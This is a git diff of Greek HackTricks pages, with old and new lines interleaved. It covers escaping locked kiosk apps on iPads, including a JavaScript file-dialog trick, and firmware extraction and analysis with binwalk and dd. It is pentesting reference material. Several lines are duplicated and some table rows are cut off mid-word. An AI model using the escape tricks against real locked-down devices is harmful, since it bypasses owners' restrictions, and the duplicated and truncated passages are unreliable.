* Σύρετε από την επάνω άκρη για να εμφανιστεί η γραμμή τίτλου για μια εφαρμογή που έχει ανοίξει σε πλήρη οθόνη.
* Σύρετε προς τα πάνω από το κάτω μέρος για να εμφανιστεί η γραμμή εργασιών σε μια εφαρμογή πλήρους οθόνης.
@ -185,29 +186,28 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
Δημιουργήστε ένα κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον Εξερευνητή αρχείων: `document.write('<input/type=file>')`\
Δημιουργήστε ένα κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον εξερευνητή αρχείων: `document.write('<input/type=file>')`\
Πηγή: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
## iPad
### Χειρονομίες και κουμπιά
* Σύρετε προς τα πάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πάτημα στο κουμπί Αρχικής: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή
* Σύρετε προς έναν τρόπο ή έναν άλλο με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή
* Κλείστε την οθόνη με πέντε δάχτυλα / Αγγίξτε το κουμπί Αρχικής δύο φορές: Για πρόσβαση στην Αρχική
* Σύρετε ένα δάχτυλο από το κάτω μέρος της οθόνης με γρήγορη κίνηση προς τα πάνω: Για πρόσβαση στην Αρχική
* Σύρετε ένα δάχτυλο από την κάτω πλευρά της οθόνης μόλις 1-2 ίντσες (αργά): Θα εμφανιστεί η βάση
* Σύρετε προς τα κάτω από την κορυφή της οθόνης με ένα δάχτυλο: Για να δείτε τις ειδοποιήσεις σας
* Σύρετε προς τα κάτω με ένα δάχτυλο στην πάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro
* Σύρετε προς τα επάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πάτημα στο κουμπί Αρχικής σελίδας: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή
* Σύρετε με έναν τρόπο ή άλλο με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή
* Κλείστε την οθόνη με πέντε δάχτυλα / Αγγίξτε γρήγορα το κουμπί Αρχικής σελίδας / Σύρετε προς τα επάνω με 1 δάχτυλο από το κάτω μέρος της οθόνης: Για πρόσβαση στην Αρχική σελίδα
* Σύρετε ένα δάχτυλο από το κάτω μέρος της οθόνης μόλις 1-2 ίντσες (αργά): Θα εμφανιστεί η βάση
* Σύρετε προς τα κάτω από την κορυφή της οθόνης με 1 δάχτυλο: Για να δείτε τις ειδοποιήσεις σας
* Σύρετε προς τα κάτω με 1 δάχτυλο στην πάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro
* Σύρετε ένα δάχτυλο από τα αριστερά της οθόνης 1-2 ίντσες: Για να δείτε την προβολή Σήμερα
* Σύρετε γρήγορα ένα δάχτυλο από το κέντρο της οθόνης προς τα δεξιά ή αριστερά: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή
* Πατήστε και κρατήστε πατημένο το κουμπί Ενεργοποίησης/Απενεργοποίησης στην πάνω δεξιά γωνία του **iPad +** Μετακινήστε τον Ρυθμιστικό ισχύος **απενεργοποίησης** όλο το δρόμο προς τα δεξιά: Για να κλείσετε
* Πατήστε το κουμπί Ενεργοποίησης/Απενεργοποίησης στην πάνω δεξιά γωνία του **iPad και το κουμπί Αρχικής για λίγα δευτερόλεπτα**: Για να επιβάλετε μια σκληρή απενεργοποίηση
* Πατήστε το κουμπί Ενεργοποίησης/Απενεργοποίησης στην πάνω δεξιά γωνία του **iPad και το κουμπί Αρχικής γρήγορα**: Για να τραβήξετε μια στιγμιότυπη που θα εμφανιστεί στην κάτω αριστερή γωνία της οθόνης. Πατήστε και τα δύο κουμπιά ταυτόχρονα πολύ σύντομα όπως αν τα κρατάτε λίγα δευτερόλεπτα θα εκτελεστεί μια σκληρή απενεργοποίηση.
* Πατήστε και κρατήστε πατημένο το κουμπί Ενεργοποίησης/Απενεργοποίησης στην επάνω δεξιά γωνία του iPad + Μετακινήστε τον διακόπτη Απενεργοποίησης εντελώς προς τα δεξιά: Για να κλείσετε
* Πατήστε το κουμπί Ενεργοποίησης/Απενεργοποίησης στην επάνω δεξιά γωνία του iPad και το κουμπί Αρχικής σελίδας για λίγα δευτερόλεπτα: Για να επιβάλετε μια σκληρή απενεργοποίηση
* Πατήστε το κουμπί Ενεργοποίησης/Απενεργοποίησης στην επάνω δεξιά γωνία του iPad και το κουμπί Αρχικής σελίδας γρήγορα: Για να τραβήξετε μια στιγμιότυπη που θα εμφανιστεί στην κάτω αριστερή γωνία της οθόνης. Πατήστε και τα δύο κουμπιά ταυτόχρονα πολύ σύντομα όπως αν τα κρατάτε λίγα δευτερόλεπτα θα εκτελεστεί μια σκληρή απενεργοποίηση.
### Shortcuts
### Συντομεύσεις
Θα πρέπει να έχετε ένα πληκτρολόγιο iPad ή έναν προσαρμογέα πληκτρολογίου USB. Εδώ θα εμφανιστούν μόνο τα συντομεύσεις πληκτρολογίου που μπορούν να βοηθήσουν στην απόδραση από την εφαρμογή.
Θα πρέπει να έχετε ένα πληκτρολόγιο iPad ή έναν προσαρμογέα πληκτρολογίου USB. Εδώ θα εμφανιστούν μόνο οι συντομεύσεις που μπορούν να βοηθήσουν στην απόδραση από την εφαρμογή.
| Κλειδί | Όνομα |
| --- | ------------ |
@ -222,41 +222,43 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
| ↑ | Πάνω Βέλος |
| ↓ | Κάτω Βέλος |
#### Συστημικές συντομεύσεις
#### Συντομεύσεις Συστήματος
Αυτές οι συντομεύσεις είναι για τις οπτικές ρυθμίσεις και τις ρυθμίσεις ήχου, ανάλογα με τη χρήση του iPad.
| Συντόμευση | Ενέργεια |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Σκοτεινή οθόνη |
| F2 | Φωτειν
| F2 | Φωτεινή οθόνη |
| F7 | Πίσω ένα τραγούδι |
| F
#### Συντομεύσεις Safari
| Συντόμευση | Ενέργεια |
| ----------------------- | -------------------------------------------------- |
| ⌘L (Command-L) | Άνοιγμα τοποθεσίας |
| ⌘T | Άνοιγμα νέας καρτέλας |
| ⌘W | Κλείσιμο της τρέχουσας καρτέλας |
| ⌘R | Ανανέωση της τρέχουσας καρτέλας |
| ⌘. | Διακοπή φόρτωσης της τρέχουσας καρτέλας |
| ^⇥ | Μετάβαση στην επόμενη καρτέλα |
| ^⇧⇥ (Control-Shift-Tab) | Μετάβαση στην προηγούμενη καρτέλα |
| ⌘L | Επιλογή του πεδίου κειμένου εισόδου/URL για τροποποίηση |
| Συντόμευση | Ενέργεια |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | Άνοιγμα τοποθεσίας |
| ⌘T | Άνοιγμα νέας καρτέλας |
| ⌘W | Κλείσιμο της τρέχουσας καρτέλας |
| ⌘R | Ανανέωση της τρέχουσας καρτέλας |
| ⌘. | Διακοπή φόρτωσης της τρέχουσας καρτέλας |
| ^⇥ | Μετάβαση στην επόμενη καρτέλα |
| ^⇧⇥ (Control-Shift-Tab) | Μετάβαση στην προηγούμενη καρτέλα |
| ⌘L | Επιλογή του πεδίου κειμένου/URL για τροποποίηση |
| ⌘⇧T (Command-Shift-T) | Άνοιγμα τελευταίας κλεισμένης καρτέλας (μπορεί να χρησιμοποιηθεί πολλές φορές) |
| ⌘\[ | Πήγαινε πίσω μια σελίδα στο ιστορικό περιήγησής σας |
| ⌘] | Πήγαινε μπροστά μια σελίδα στο ιστορικό περιήγησής σας |
| ⌘⇧R | Ενεργοποίηση λειτουργίας Αναγνώστη |
| ⌘\[ | Πήγαινε πίσω σε μια σελίδα στο ιστορικό περιήγησής σας |
| ⌘] | Πήγαινε μπροστά σε μια σελίδα στο ιστορικό περιήγησής σας |
| ⌘⇧R | Ενεργοποίηση λειτουργίας Αναγνώστη |
#### Συντομεύσεις Mail
| Συντόμευση | Ενέργεια |
| Συντόμευση | Ενέργεια |
| -------------------------- | ---------------------------- |
| ⌘L | Άνοιγμα τοποθεσίας |
| ⌘T | Άνοιγμα νέας καρτέλας |
| ⌘L | Άνοιγμα τοποθεσίας |
| ⌘T | Άνοιγμα νέας καρτέλας |
| ⌘W | Κλείσιμο της τρέχουσας καρτέλας |
| ⌘R | Ανανέωση της τρέχουσας καρτέλας |
| ⌘R | Ανανέωση της τρέχουσας καρτέλας |
| ⌘. | Διακοπή φόρτωσης της τρέχουσας καρτέλας |
| ⌘⌥F (Command-Option/Alt-F) | Αναζήτηση στο εισερχόμενα σας |
| ⌘⌥F (Command-Option/Alt-F) | Αναζήτηση στο εισερχόμενα σας |
## Αναφορές
@ -269,24 +271,25 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των απαγωγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,58 +1,54 @@
# Firmware Analysis
# Ανάλυση Firmware
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ καταθέτοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}
## **Εισαγωγή**
Το firmware είναι ουσιαστικό λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών συστατικών και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, εξασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικές οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την εντοπισμό ασφαλείας.
Το Firmware είναι το ουσιαστικό λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών συστατικών και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, εξασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικές οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την εντοπισμό ευπαθειών ασφαλείας.
## **Συλλογή Πληροφοριών**
Η **συλλογή πληροφοριών** είναι ένα κρίσιμο αρχικό βήμα για την κατανόηση της δομής μιας συσκευής και των τεχνολογιών που χρησιμοποιεί. Αυτή η διαδικασία περιλαμβάνει τη συλλογή δεδομένων για:
* Την αρχιτεκτονική της CPU και το λειτουργικό σύστημα που εκτελεί
* Τις λεπτομέρειες του bootloader
* Τη διάταξη του υλικού και τις τεχνικές προδιαγραφές
* Τις μετρήσεις του κώδικα και τις τοποθεσίες πηγαίου κώδικα
* Τις εξωτερικές βιβλιοθήκες και τους τύπους αδειών
* Τις ιστορικές ενημερώσεις και τις πιστοποιήσεις ρύθμισης
* Τα αρχιτεκτονικά και τα διαγράμματα ροής
* Τις αξιολογήσεις ασφαλείας και τις εντοπισμένες ευπάθειες
* Συγκεκριμένες πληροφορίες για τον εκκινητή
* Τη διάταξη του υλικού και τις φύλλα τεκμηρίωσης
* Μετρήσεις κώδικα και τοποθεσίες πηγαίου κώδικα
* Εξωτερικές βιβλιοθήκες και τύπους αδειών
* Ιστορικά ενημερώσεων και πιστοποιήσεις ρυθμίσεων
* Αρχιτεκτονικά και διαγράμματα ροής
* Αξιολογήσεις ασφαλείας και εντοπισμένες ευπάθειες
Για αυτόν τον σκοπό, τα εργαλεία **ανοικτής πηγής πληροφορίας (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων συστατικών λογισμικού ανοικτού κώδικα μέσω μη αυτόματων και αυτόματων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
Για αυτόν τον σκοπό, τα εργαλεία **ανοικτής πηγής πληροφορίας (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων συστατικών λογισμικού ανοικτού κώδικα μέσω μηχανικών ελέγχων χειροκίνητων και αυτοματοποιημένων. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [LGTM της Semmle](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εντοπισμό πιθανών προβλημάτων.
## **Απόκτηση του Firmware**
Η απόκτηση του firmware μπορεί να γίνει με διάφορους τρόπους, καθένας με το δικό του επίπεδο πολυπλοκότητας:
Η απόκτηση του firmware μπορεί να γίνει μέσω διαφόρων μέσων, καθένα με το δικό του επίπεδο πολυπλοκότητας:
* **Απευθείας** από την πηγή (προγραμματιστές, κατασκευαστές)
* **Κατασκευή** από παρεχόμενες οδηγίες
* **Κατασκευάζοντάς το** ακολουθώντας τις παρεχόμενες οδηγίες
* **Λήψη** από επίσημους ιστότοπους υποστήριξης
* Χρήση **ερωτημάτων Google dork** για την εύρεση φιλοξενούμενων αρχείων firmware
* Πρόσβαση σε **αποθήκευση στο cloud** απευθείας, με εργαλεία όπως το [S3Scanner](https://github.com/sa7mon/S3Scanner)
* Παρεμβολή **ενημερώσεων** μέσω τεχνικών man-in-the-middle
* **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG** ή **PICit**
* Πρόσβαση στην **αποθήκευση στο cloud** απευθείας, με εργαλεία όπως το [S3Scanner](https://github.com/sa7mon/S3Scanner)
* Παρεμβολή σε **ενημερώσεις** μέσω τεχνικών man-in-the-middle
* **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG**, ή **PICit**
* **Καταγραφή** αιτημάτων ενημέρωσης εντός της επικοινωνίας της συσκευής
* Εντοπισμός και χρήση **σκληροκωδικοποιημένων σημείων ενημέρωσης**
* **Ανάκτηση** από τον bootloader ή το δίκτυο
* **Αφαίρεση και ανάγνωση** του επίπεδου αποθήκευσης, όταν αποτυγχάνουν όλα τα άλλα, χρησιμοποιώντας κατάλληλα εργαλεία υλικού
## Ανάλυση του firmware
Τώρα που **έχετε το firmware**, πρέπει να εξάγετε πληροφορίες για αυτό για να ξέρετε πώς να το χειριστείτε. Διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτό:
* Αναγνώριση και χρήση **σκληροκωδικοποιημένων σημείων ενημέρωσης**
* **Ανάκτηση** από τον εκκινητή ή το δίκτυο
* **Αφαίρεση και ανάγνωση** του επιτραπέζιου τσιπ, όταν τίποτα άλλο αποτύχει, χρησιμοποιώντας κατάλληλα εργαλεία υλικού
```bash
file <bin>
strings -n8 <bin>
@ -61,26 +57,24 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Εάν δε βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με την εντολή `binwalk -E <bin>`. Αν η εντροπία είναι χαμηλή, τότε πιθανότατα δεν είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
Εάν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με την εντολή `binwalk -E <bin>`. Εάν η εντροπία είναι χαμηλή, τότε πιθανότατα δεν είναι κρυπτογραφημένη. Εάν η εντροπία είναι υψηλή, τότε πιθανότατα είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα στο firmware**:
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που έχουν ενσωματωθεί μέσα στο firmware**:
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
Ή [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) για να επιθεωρήσετε το αρχείο.
Ή το [**binvis.io**](https://binvis.io/#/) ([κώδικας](https://code.google.com/archive/p/binvis/)) για να επιθεωρήσετε το αρχείο.
### Απόκτηση του Συστήματος Αρχείων
Με τα προηγούμενα εργαλεία που αναφέρθηκαν, όπως `binwalk -ev <bin>`, θα πρέπει να έχετε καταφέρει να **εξάγετε το σύστημα αρχείων**.\
Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο με το όνομα του τύπου του συστήματος αρχείων**, που συνήθως είναι ένα από τα παρακάτω: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
Με τα προηγούμενα εργαλεία όπως `binwalk -ev <bin>` θα πρέπει να έχετε καταφέρει να **εξάγετε το σύστημα αρχείων**.\
Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο με το όνομα του τύπου του συστήματος αρχείων**, το οποίο συνήθως είναι ένα από τα παρακάτω: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων
Μερικές φορές, το binwalk **δεν έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε τη θέση του συστήματος αρχείων και να ανακόψετε το συμπιεσμένο σύστημα αρχείων** από το δυαδικό αρχείο και **εξάγετε χειροκίνητα** το σύστημα αρχείων ανάλογα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
Μερικές φορές, το binwalk **δεν έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε τη θέση του συστήματος αρχείων και να αναγνωρίσετε το συμπιεσμένο σύστημα αρχείων** από το δυαδικό αρχείο και **εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
```
$ binwalk DIR850L_REVB.bin
@ -92,9 +86,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Εκτελέστε την ακόλουθη εντολή **dd** για να ανακτήσετε το αρχείο συστήματος Squashfs.
Εκτελέστε την ακόλουθη εντολή **dd** για να ανακτήσετε το σύστημα αρχείων Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -104,39 +96,37 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Εναλλακτικά, μπορεί να εκτελεστεί και η παρακάτω εντολή.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
* Για το squashfs (που χρησιμοποιείται στο παράδειγμα παραπάνω)
* Για το squashfs (που χρησιμοποιείται στο παραπάνω παράδειγμα)
`$ unsquashfs dir.squashfs`
Τα αρχεία θα βρίσκονται στον φάκελο "`squashfs-root`" αφού ολοκληρωθεί η διαδικασία.
Τα αρχεία θα βρίσκονται στον κατάλογο "`squashfs-root`" μετά.
* Αρχεία αρχειοθήκης CPIO
* Αρχεία αρχείων CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* Για τα αρχεία συστήματος jffs2
* Για συστήματα αρχείων jffs2
`$ jefferson rootfsfile.jffs2`
* Για τα αρχεία συστήματος ubifs με NAND flash
* Για συστήματα αρχείων ubifs με NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Ανάλυση Λογισμικού
## Ανάλυση Firmware
Μόλις αποκτηθεί το λογισμικό, είναι απαραίτητο να αναλυθεί για να κατανοήσουμε τη δομή του και τυχόν ευπάθειες. Αυτή η διαδικασία περιλαμβάνει τη χρήση διάφορων εργαλείων για την ανάλυση και εξαγωγή πολύτιμων δεδομένων από την εικόνα του λογισμικού.
Αφού αποκτηθεί το firmware, είναι ουσιώδες να αναλυθεί για την κατανόηση της δομής του και των πιθανών ευπαθειών του. Αυτή η διαδικασία περιλαμβάνει τη χρήση διαφόρων εργαλείων για την ανάλυση και εξαγωγή αξιόλογων δεδομένων από την εικόνα του firmware.
### Εργαλεία Αρχικής Ανάλυσης
Παρέχεται ένα σύνολο εντολών για τον αρχικό έλεγχο του δυαδικού αρχείου (αναφέρεται ως `<bin>`). Αυτές οι εντολές βοηθούν στον προσδιορισμό των τύπων αρχείων, την εξαγωγή συμβολοσειρών, την ανάλυση δυαδικών δεδομένων και την κατανόηση των λεπτομερειών των διαμερισμάτων και του συστήματος αρχείων:
Παρέχεται ένα σύνολο εντολών για την αρχική επιθεώρηση του δυαδικού αρχείου (αναφέρεται ως `<bin>`). Αυτές οι εντολές βοηθούν στην αναγνώριση τύπων αρχείων, την εξαγωγή συμβολοσειρών, την ανάλυση δυαδικών δεδομένων και την κατανόηση των λεπτομερειών των διαμερισμάτων και του συστήματος αρχείων:
```bash
file <bin>
strings -n8 <bin>
@ -145,101 +135,90 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Για να αξιολογήσετε την κατάσταση της κρυπτογράφησης της εικόνας, ο έλεγχος γίνεται με την εντολή `binwalk -E <bin>`. Η χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ η υψηλή εντροπία υποδηλώνει πιθανή κρυπτογράφηση ή συμπίεση.
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με την εντολή `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδηλώνει πιθανή κρυπτογράφηση ή συμπίεση.
Για την εξαγωγή **ενσωματωμένων αρχείων**, συνιστώνται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για τον έλεγχο των αρχείων.
Για την εξαγωγή **ενσωματωμένων αρχείων**, συνιστώνται εργαλεία και πόροι όπως το έγγραφο **file-data-carving-recovery-tools** και το **binvis.io** για τον έλεγχο αρχείων.
### Εξαγωγή του Συστήματος Αρχείων
